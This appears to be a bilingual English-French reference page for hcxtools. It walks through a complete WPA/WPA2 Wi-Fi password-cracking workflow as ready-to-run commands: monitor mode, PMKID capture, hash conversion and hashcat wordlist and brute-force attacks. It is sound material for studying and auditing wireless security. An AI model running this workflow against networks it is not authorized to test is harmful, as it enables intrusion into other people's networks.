← retour aux outils back to tools

# hcxtools

Boîte à outils pour convertir et analyser des captures de paquets sans fil. Convertit les fichiers .cap/.pcap en formats compatibles hashcat pour le cassage WPA/WPA2 accéléré par GPU. Toolkit for converting and analyzing wireless packet captures. Converts .cap/.pcap files to hashcat-compatible formats for GPU-accelerated WPA/WPA2 cracking.

↗ https://github.com/ZerBea/hcxtools

## Overview

hcxtools is a collection of tools for processing wireless packet captures and converting them to formats suitable for GPU-accelerated cracking with hashcat. The main tool, `hcxpcapngtool`, converts captured handshakes and PMKID to hashcat’s `.hc22000` format.

## hcxpcapngtool — Convert Captures

Convert .cap or .pcapng to hashcat format (WPA-PBKDF2-PMKID+EAPOL)

    hcxpcapngtool -o hash.hc22000 capture.cap

Convert multiple files

    hcxpcapngtool -o hash.hc22000 *.cap *.pcapng

Convert with all output types

    hcxpcapngtool -o hashes.hc22000 -E essid.txt -I identity.txt -U username.txt capture.cap

    # Show info about a capture
    hcxpcapngtool --info=short capture.cap
    hcxpcapngtool --info=full capture.cap

## Cracking with hashcat

Crack WPA2 with hashcat after conversion

    hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

With rules

    hashcat -m 22000 hash.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

GPU-accelerated brute-force (8 digit numeric)

    hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

Show cracked passwords

    hashcat -m 22000 hash.hc22000 --show

## hcxdumptool — Active PMKID Capture

Capture PMKID and handshakes without clients (requires monitor mode)

    sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3

Target specific BSSID

    sudo hcxdumptool -i wlan0mon -o capture.pcapng -F bssid_list.txt --enable_status=3

Passive capture only (no deauth or probes)

    sudo hcxdumptool -i wlan0mon -o capture.pcapng --passive --enable_status=3

Stop after N seconds

    sudo hcxdumptool -i wlan0mon -o capture.pcapng -t 60 --enable_status=3

## Other hcxtools Utilities

Merge multiple captures

    hcxpcapngtool -o merged.hc22000 capture1.pcapng capture2.pcapng

Filter handshakes/PMKID by BSSID

    hcxpcapngtool -o filtered.hc22000 --bssid AA:BB:CC:DD:EE:FF capture.pcapng

Show statistics

    hcxpcapngtool --info=full capture.pcapng

    # Convert old hashcat format (.hccapx) to new
    hcxhash2cap --hccapx old.hccapx -c capture.pcap
    hcxpcapngtool -o new.hc22000 capture.pcap

Verify cracked key

    hcxpsktool --pmk=PMK --essid=SSID

## Full Workflow

    # Step 1: Put wireless card in monitor mode
    airmon-ng check kill
    airmon-ng start wlan0
    # → wlan0mon

Step 2: Capture (PMKID method - no clients needed)

    sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3

→ Wait 1-5 minutes, then Ctrl+C

Step 3: Convert to hashcat format

    hcxpcapngtool -o hash.hc22000 capture.pcapng

    # Step 4: Crack with GPU
    hashcat -m 22000 hash.hc22000 rockyou.txt --force
    hashcat -m 22000 hash.hc22000 --show   # Show results

## Tips

- PMKID attack doesn’t require any connected clients — massive advantage over handshake capture
- Always convert to `.hc22000` (mode 22000) — it’s more efficient than the old `.hccapx` (mode 2500)
- `hcxdumptool` + `hcxpcapngtool` + hashcat is the fastest modern WPA2 cracking workflow
- Running hashcat on a GPU vs CPU can be 100-1000x faster for WPA cracking

Key tools in hcxtools

    hcxpcapngtool     Convert pcap/pcapng to hashcat formats
    hcxdumptool       Capture PMKID/handshakes from WiFi
    hcxhashtool       Filter/analyze hash files
    hcxpsktool        Verify cracked PSK
    hcxmactool        Analyze/convert MAC addresses
    hcxeiutool        Analyze EAP identity/username
    hcxwltool         Analyze wireless LAN traffic

    hashcat modes for WPA:
      22000  WPA-PBKDF2-PMKID+EAPOL (current standard)
      22001  WPA-PMK-PMKID+EAPOL
      2500   WPA/WPA2 (legacy .hccapx format)

## Vue d’ensemble

hcxtools est une collection d’outils pour traiter les captures de paquets sans fil et les convertir en formats adaptés au cassage accéléré par GPU avec hashcat. L’outil principal, `hcxpcapngtool`, convertit les handshakes et PMKID capturés vers le format `.hc22000` de hashcat.

## hcxpcapngtool : convertir les captures

    # Convertir un .cap ou .pcapng vers le format hashcat (WPA-PBKDF2-PMKID+EAPOL)
    hcxpcapngtool -o hash.hc22000 capture.cap

    # Convertir plusieurs fichiers
    hcxpcapngtool -o hash.hc22000 *.cap *.pcapng

    # Convertir avec tous les types de sortie
    hcxpcapngtool -o hashes.hc22000 -E essid.txt -I identity.txt -U username.txt capture.cap

    # Afficher les infos d'une capture
    hcxpcapngtool --info=short capture.cap
    hcxpcapngtool --info=full capture.cap

## Cassage avec hashcat

    # Casser le WPA2 avec hashcat après conversion
    hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

    # Avec des règles
    hashcat -m 22000 hash.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

    # Brute-force accéléré GPU (8 chiffres numériques)
    hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

    # Afficher les mots de passe cassés
    hashcat -m 22000 hash.hc22000 --show

## hcxdumptool : capture active de PMKID

    # Capturer PMKID et handshakes sans clients (nécessite le mode monitor)
    sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3

    # Cibler un BSSID spécifique
    sudo hcxdumptool -i wlan0mon -o capture.pcapng -F bssid_list.txt --enable_status=3

    # Capture passive uniquement (pas de deauth ni de probes)
    sudo hcxdumptool -i wlan0mon -o capture.pcapng --passive --enable_status=3

    # Arrêter après N secondes
    sudo hcxdumptool -i wlan0mon -o capture.pcapng -t 60 --enable_status=3

## Autres utilitaires hcxtools

    # Fusionner plusieurs captures
    hcxpcapngtool -o merged.hc22000 capture1.pcapng capture2.pcapng

    # Filtrer les handshakes/PMKID par BSSID
    hcxpcapngtool -o filtered.hc22000 --bssid AA:BB:CC:DD:EE:FF capture.pcapng

    # Afficher des statistiques
    hcxpcapngtool --info=full capture.pcapng

    # Convertir l'ancien format hashcat (.hccapx) vers le nouveau
    hcxhash2cap --hccapx old.hccapx -c capture.pcap
    hcxpcapngtool -o new.hc22000 capture.pcap

Vérifier une clé cassée

    hcxpsktool --pmk=PMK --essid=SSID

## Flux de travail complet

    # Étape 1 : mettre la carte sans fil en mode monitor
    airmon-ng check kill
    airmon-ng start wlan0
    # → wlan0mon

Étape 2 : capturer (méthode PMKID, aucun client requis)

    sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3

→ Attendre 1 à 5 minutes, puis Ctrl+C

Étape 3 : convertir au format hashcat

    hcxpcapngtool -o hash.hc22000 capture.pcapng

    # Étape 4 : casser avec le GPU
    hashcat -m 22000 hash.hc22000 rockyou.txt --force
    hashcat -m 22000 hash.hc22000 --show   # Afficher les résultats

## Conseils

- L’attaque PMKID ne nécessite aucun client connecté : avantage massif par rapport à la capture de handshake
- Convertissez toujours vers `.hc22000` (mode 22000) : c’est plus efficace que l’ancien `.hccapx` (mode 2500)
- `hcxdumptool` + `hcxpcapngtool` + hashcat forment le flux de cassage WPA2 moderne le plus rapide
- Faire tourner hashcat sur un GPU plutôt qu’un CPU peut être 100 à 1000 fois plus rapide pour le cassage WPA

Outils clés de hcxtools

    hcxpcapngtool     Convert pcap/pcapng to hashcat formats
    hcxdumptool       Capture PMKID/handshakes from WiFi
    hcxhashtool       Filter/analyze hash files
    hcxpsktool        Verify cracked PSK
    hcxmactool        Analyze/convert MAC addresses
    hcxeiutool        Analyze EAP identity/username
    hcxwltool         Analyze wireless LAN traffic

    hashcat modes for WPA:
      22000  WPA-PBKDF2-PMKID+EAPOL (current standard)
      22001  WPA-PMK-PMKID+EAPOL
      2500   WPA/WPA2 (legacy .hccapx format)